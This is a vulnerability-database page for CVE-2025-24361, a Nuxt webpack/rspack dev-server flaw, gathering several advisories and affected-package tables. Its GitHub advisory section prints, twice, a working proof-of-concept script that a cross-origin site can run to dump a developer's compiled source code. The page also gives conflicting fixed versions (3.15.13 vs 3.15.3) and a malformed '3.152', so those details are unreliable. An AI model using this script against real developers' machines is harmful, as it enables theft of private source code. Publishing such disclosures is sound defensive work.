Every CVE Search/ Get API key

CVE-2025-24361

Opening a malicious website while running a Nuxt dev server could allow read-only access to code

5.3 MediumFix available

Nuxt is an open-source web development framework for Vue.js. Source code may be stolen during dev when using version 3.0.0 through 3.15.12 of the webpack builder or version 3.12.2 through 3.152 of the rspack builder and a victim opens a malicious web site. Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject a malicious script in their site and run the script. By using Function::toString against the values in window.webpackChunknuxt_app, the attacker can get the source code. Version 3.15.13 of Nuxt patches this issue.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
High
Privileges needed
None
User interaction
Required

What an attacker can affect

Confidentiality
High
Integrity
None
Availability
None

Exploit likelihood

0.34%Up 0.3 points since Jan 25, 2025
90%50%10%1%

What each source reports

CVE List Score used 5.3

Opening a malicious website while running a Nuxt dev server could allow read-only access to code

Nuxt is an open-source web development framework for Vue.js. Source code may be stolen during dev when using version 3.0.0 through 3.15.12 of the webpack builder or version 3.12.2 through 3.152 of the rspack builder and a victim opens a malicious web site. Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject a malicious script in their site and run the script. By using Function::toString against the values in window.webpackChunknuxt_app, the attacker can get the source code. Version 3.15.13 of Nuxt patches this issue.

Record
CVE-2025-24361
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
Weakness
CWE-749
Updated
2026-11-02
EUVDEUVD-2025-0132 5.3

Nuxt is an open-source web development framework for Vue.js. Source code may be stolen during dev when using version 3.0.0 through 3.15.12 of the webpack builder or version 3.12.2 through 3.152 of the rspack builder and a victim opens a malicious web site. Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject a malicious script in their site and run the script. By using Function::toString against the values in window.webpackChunknuxt_app, the attacker can get the source code. Version 3.15.13 of Nuxt patches this issue.

Record
EUVD-2025-0132
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
Updated
2026-11-03
GitHub AdvisoriesGHSA-4gf7-ff8x-hq99 5.3

Opening a malicious website while running a Nuxt dev server could allow read-only access to code

Summary

Source code may be stolen during dev when using webpack / rspack builder and you open a malicious web site.

Details

Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:3000/_nuxt/app.js"> in their site and run the script. By using Function::toString against the values in window.webpackChunknuxt_app, the attacker can get the source code.

PoC

  1. Create a nuxt project with webpack / rspack builder.
  2. Run npm run dev
  3. Open http://localhost:3000
  4. Run the script below in a web site that has a different origin.
  5. You can see the source code output in the document and the devtools console.
const script = document.createElement('script')
script.src = 'http://localhost:3000/_nuxt/app.js'
script.addEventListener('load', () => {
  for (const page in window.webpackChunknuxt_app) {
    const moduleList = window.webpackChunknuxt_app[page][1]
    console.log(moduleList)

    for (const key in moduleList) {
      const p = document.createElement('p')
      const title = document.createElement('strong')
      title.textContent = key
      const code = document.createElement('code')
      code.textContent = moduleList[key].toString()
      p.append(title, ':', document.createElement('br'), code)
      document.body.appendChild(p)
    }
  }
})
document.head.appendChild(script)

It contains the compiled source code and also the source map (but it seems the sourcemap contains transformed content in the sourcesContent field).

Impact

Users using webpack / rspack builder may get the source code stolen by malicious websites.

Record
GHSA-4gf7-ff8x-hq99
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
Weakness
CWE-749
Updated
2026-11-02
NVD 5.3

Nuxt is an open-source web development framework for Vue.js. Source code may be stolen during dev when using version 3.0.0 through 3.15.12 of the webpack builder or version 3.12.2 through 3.152 of the rspack builder and a victim opens a malicious web site. Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject a malicious script in their site and run the script. By using Function::toString against the values in window.webpackChunknuxt_app, the attacker can get the source code. Version 3.15.13 of Nuxt patches this issue.

Record
CVE-2025-24361
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
Weakness
CWE-749
Updated
2026-11-02
OSV 5.3

Opening a malicious website while running a Nuxt dev server could allow read-only access to code

Nuxt is an open-source web development framework for Vue.js. Source code may be stolen during dev when using version 3.0.0 through 3.15.12 of the webpack builder or version 3.12.2 through 3.152 of the rspack builder and a victim opens a malicious web site. Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject a malicious script in their site and run the script. By using Function::toString against the values in window.webpackChunknuxt_app, the attacker can get the source code. Version 3.15.13 of Nuxt patches this issue.

Record
CVE-2025-24361
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
Weakness
CWE-749
Updated
2026-11-02
OSVGHSA-4gf7-ff8x-hq99 5.3

Opening a malicious website while running a Nuxt dev server could allow read-only access to code

Summary

Source code may be stolen during dev when using webpack / rspack builder and you open a malicious web site.

Details

Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:3000/_nuxt/app.js"> in their site and run the script. By using Function::toString against the values in window.webpackChunknuxt_app, the attacker can get the source code.

PoC

  1. Create a nuxt project with webpack / rspack builder.
  2. Run npm run dev
  3. Open http://localhost:3000
  4. Run the script below in a web site that has a different origin.
  5. You can see the source code output in the document and the devtools console.
const script = document.createElement('script')
script.src = 'http://localhost:3000/_nuxt/app.js'
script.addEventListener('load', () => {
  for (const page in window.webpackChunknuxt_app) {
    const moduleList = window.webpackChunknuxt_app[page][1]
    console.log(moduleList)

    for (const key in moduleList) {
      const p = document.createElement('p')
      const title = document.createElement('strong')
      title.textContent = key
      const code = document.createElement('code')
      code.textContent = moduleList[key].toString()
      p.append(title, ':', document.createElement('br'), code)
      document.body.appendChild(p)
    }
  }
})
document.head.appendChild(script)

It contains the compiled source code and also the source map (but it seems the sourcemap contains transformed content in the sourcesContent field).

Impact

Users using webpack / rspack builder may get the source code stolen by malicious websites.

Record
GHSA-4gf7-ff8x-hq99
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
Weakness
CWE-749
Updated
2026-11-02
Show 18 moreShow less
OSVCLSA-2026-1776040398 No score

TuxCare security update for nuxt (1 CVE)

TuxCare rebuilt nuxt to address 1 CVE. Fixed in 3.12.4-tuxcare.2.

Record
CLSA-2026-1776040398
Updated
2026-11-02
OSVCLSA-2026-1792161443 No score

TuxCare security update for @nuxt/kit (1 CVE)

TuxCare rebuilt @nuxt/kit to address 1 CVE. Fixed in 3.12.4-tuxcare.2.

Record
CLSA-2026-1792161443
Updated
2026-11-02
OSVCLSA-2026-1792161449 No score

TuxCare security update for @nuxt/kit (2 CVEs)

TuxCare rebuilt @nuxt/kit to address 2 CVEs. Fixed in 3.12.3-tuxcare.3.

Record
CLSA-2026-1792161449
Updated
2026-11-02
OSVCLSA-2026-1792161456 No score

TuxCare security update for @nuxt/kit (2 CVEs)

TuxCare rebuilt @nuxt/kit to address 2 CVEs. Fixed in 3.2.0-tuxcare.4.

Record
CLSA-2026-1792161456
Updated
2026-11-02
OSVCLSA-2026-1792161583 No score

TuxCare security update for @nuxt/schema (1 CVE)

TuxCare rebuilt @nuxt/schema to address 1 CVE. Fixed in 3.12.4-tuxcare.2.

Record
CLSA-2026-1792161583
Updated
2026-11-02
OSVCLSA-2026-1792161589 No score

TuxCare security update for @nuxt/schema (2 CVEs)

TuxCare rebuilt @nuxt/schema to address 2 CVEs. Fixed in 3.12.3-tuxcare.3.

Record
CLSA-2026-1792161589
Updated
2026-11-02
OSVCLSA-2026-1792161598 No score

TuxCare security update for @nuxt/schema (2 CVEs)

TuxCare rebuilt @nuxt/schema to address 2 CVEs. Fixed in 3.2.0-tuxcare.4.

Record
CLSA-2026-1792161598
Updated
2026-11-02
OSVCLSA-2026-1792161807 No score

TuxCare security update for @nuxt/vite-builder (1 CVE)

TuxCare rebuilt @nuxt/vite-builder to address 1 CVE. Fixed in 3.12.4-tuxcare.2.

Record
CLSA-2026-1792161807
Updated
2026-11-02
OSVCLSA-2026-1792161811 No score

TuxCare security update for @nuxt/vite-builder (2 CVEs)

TuxCare rebuilt @nuxt/vite-builder to address 2 CVEs. Fixed in 3.12.3-tuxcare.3.

Record
CLSA-2026-1792161811
Updated
2026-11-02
OSVCLSA-2026-1792161820 No score

TuxCare security update for @nuxt/vite-builder (2 CVEs)

TuxCare rebuilt @nuxt/vite-builder to address 2 CVEs. Fixed in 3.2.0-tuxcare.4.

Record
CLSA-2026-1792161820
Updated
2026-11-02
OSVCLSA-2026-1792161920 No score

TuxCare security update for @nuxt/webpack-builder (1 CVE)

TuxCare rebuilt @nuxt/webpack-builder to address 1 CVE. Fixed in 3.12.4-tuxcare.2.

Record
CLSA-2026-1792161920
Updated
2026-11-02
OSVCLSA-2026-1792161925 No score

TuxCare security update for @nuxt/webpack-builder (2 CVEs)

TuxCare rebuilt @nuxt/webpack-builder to address 2 CVEs. Fixed in 3.12.3-tuxcare.3.

Record
CLSA-2026-1792161925
Updated
2026-11-02
OSVCLSA-2026-1792161933 No score

TuxCare security update for @nuxt/webpack-builder (2 CVEs)

TuxCare rebuilt @nuxt/webpack-builder to address 2 CVEs. Fixed in 3.2.0-tuxcare.4.

Record
CLSA-2026-1792161933
Updated
2026-11-02
OSVCLSA-2026-1792163456 No score

TuxCare security update for @nuxt/test-utils (2 CVEs)

TuxCare rebuilt @nuxt/test-utils to address 2 CVEs. Fixed in 3.2.0-tuxcare.4.

Record
CLSA-2026-1792163456
Updated
2026-11-02
OSVCLSA-2026-1792758402 No score

TuxCare security update for nuxt (3 CVEs)

TuxCare rebuilt nuxt to address 3 CVEs. Fixed in 3.12.4-tuxcare.16.

Record
CLSA-2026-1792758402
Updated
2026-11-02
OSVCLSA-2026-1792758690 No score

TuxCare security update for nuxt (3 CVEs)

TuxCare rebuilt nuxt to address 3 CVEs. Fixed in 3.12.3-tuxcare.12.

Record
CLSA-2026-1792758690
Updated
2026-11-02
OSVCLSA-2026-1792758921 No score

TuxCare security update for nuxt (3 CVEs)

TuxCare rebuilt nuxt to address 3 CVEs. Fixed in 3.2.0-tuxcare.8.

Record
CLSA-2026-1792758921
Updated
2026-11-03
OSVCLSA-2026-1793661076 No score

TuxCare security update for nuxi (3 CVEs)

TuxCare rebuilt nuxi to address 3 CVEs. Fixed in 3.2.0-tuxcare.8.

Record
CLSA-2026-1793661076
Updated
2026-11-03

Affected products

Affected packages

Affected packages
PackageAffectedFixed
@nuxt/webpack-builder
npm
3.0.0 up to 3.15.3
3.15.3
@nuxt/rspack-builder
npm
3.12.2 up to 3.15.3
3.15.3
nuxt
TuxCare:npm
3.12.4-tuxcare.0 up to 3.12.4-tuxcare.2, plus listed versions
3.12.4
3.12.4-tuxcare.2
@nuxt/kit
TuxCare:npm
3.12.4-tuxcare.0 up to 3.12.4-tuxcare.2, plus listed versions
3.12.4
3.12.4-tuxcare.2
@nuxt/kit
TuxCare:npm
3.12.3-tuxcare.0 up to 3.12.3-tuxcare.3, plus listed versions
3.12.33.12.3-tuxcare.1
3.12.3-tuxcare.3
@nuxt/kit
TuxCare:npm
From an advisory covering 2 CVEs
3.2.0-tuxcare.0 up to 3.2.0-tuxcare.4, plus listed versions
3.2.03.2.0-tuxcare.2
3.2.0-tuxcare.4
@nuxt/schema
TuxCare:npm
3.12.4-tuxcare.0 up to 3.12.4-tuxcare.2, plus listed versions
3.12.4
3.12.4-tuxcare.2
@nuxt/schema
TuxCare:npm
3.12.3-tuxcare.0 up to 3.12.3-tuxcare.3, plus listed versions
3.12.33.12.3-tuxcare.1
3.12.3-tuxcare.3
@nuxt/schema
TuxCare:npm
From an advisory covering 2 CVEs
3.2.0-tuxcare.0 up to 3.2.0-tuxcare.4, plus listed versions
3.2.03.2.0-tuxcare.2
3.2.0-tuxcare.4
@nuxt/vite-builder
TuxCare:npm
3.12.4-tuxcare.0 up to 3.12.4-tuxcare.2, plus listed versions
3.12.4
3.12.4-tuxcare.2
Show 10 moreShow less
Affected packages
PackageAffectedFixed
@nuxt/vite-builder
TuxCare:npm
3.12.3-tuxcare.0 up to 3.12.3-tuxcare.3, plus listed versions
3.12.33.12.3-tuxcare.1
3.12.3-tuxcare.3
@nuxt/vite-builder
TuxCare:npm
From an advisory covering 2 CVEs
3.2.0-tuxcare.0 up to 3.2.0-tuxcare.4, plus listed versions
3.2.03.2.0-tuxcare.2
3.2.0-tuxcare.4
@nuxt/webpack-builder
TuxCare:npm
3.12.4-tuxcare.0 up to 3.12.4-tuxcare.2, plus listed versions
3.12.4
3.12.4-tuxcare.2
@nuxt/webpack-builder
TuxCare:npm
3.12.3-tuxcare.0 up to 3.12.3-tuxcare.3, plus listed versions
3.12.33.12.3-tuxcare.1
3.12.3-tuxcare.3
@nuxt/webpack-builder
TuxCare:npm
From an advisory covering 2 CVEs
3.2.0-tuxcare.0 up to 3.2.0-tuxcare.4, plus listed versions
3.2.03.2.0-tuxcare.2
3.2.0-tuxcare.4
@nuxt/test-utils
TuxCare:npm
From an advisory covering 2 CVEs
3.2.0-tuxcare.0 up to 3.2.0-tuxcare.4, plus listed versions
3.2.03.2.0-tuxcare.2
3.2.0-tuxcare.4
nuxt
TuxCare:npm
From an advisory covering 3 CVEs
3.12.4-tuxcare.0 up to 3.12.4-tuxcare.16, plus listed versions
3.12.43.12.4-tuxcare.103.12.4-tuxcare.113.12.4-tuxcare.123.12.4-tuxcare.13
Show 10 moreShow less
3.12.4-tuxcare.143.12.4-tuxcare.153.12.4-tuxcare.23.12.4-tuxcare.33.12.4-tuxcare.43.12.4-tuxcare.53.12.4-tuxcare.63.12.4-tuxcare.73.12.4-tuxcare.83.12.4-tuxcare.9
3.12.4-tuxcare.16
nuxt
TuxCare:npm
From an advisory covering 3 CVEs
3.12.3-tuxcare.0 up to 3.12.3-tuxcare.12, plus listed versions
3.12.33.12.3-tuxcare.13.12.3-tuxcare.103.12.3-tuxcare.113.12.3-tuxcare.2
Show 7 moreShow less
3.12.3-tuxcare.33.12.3-tuxcare.43.12.3-tuxcare.53.12.3-tuxcare.63.12.3-tuxcare.73.12.3-tuxcare.83.12.3-tuxcare.9
3.12.3-tuxcare.12
nuxt
TuxCare:npm
From an advisory covering 3 CVEs
3.2.0-tuxcare.0 up to 3.2.0-tuxcare.8, plus listed versions
3.2.03.2.0-tuxcare.13.2.0-tuxcare.23.2.0-tuxcare.33.2.0-tuxcare.43.2.0-tuxcare.53.2.0-tuxcare.63.2.0-tuxcare.7
3.2.0-tuxcare.8
nuxi
TuxCare:npm
From an advisory covering 3 CVEs
3.2.0-tuxcare.0 up to 3.2.0-tuxcare.8, plus listed versions
3.2.03.2.0-tuxcare.23.2.0-tuxcare.43.2.0-tuxcare.53.2.0-tuxcare.63.2.0-tuxcare.7
3.2.0-tuxcare.8

History

History
RecordedChangedSources
affected, facts
affected, aliasesOSV
aliases, products, publishedEUVD
first indexedCVE List, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2025-24361 is a medium vulnerability (CVSS 5.3) in @clerk Nuxt, published January 25, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.34%, the 27th percentile. Fixed in @nuxt/webpack-builder 3.15.3.

References

MoveEnter Open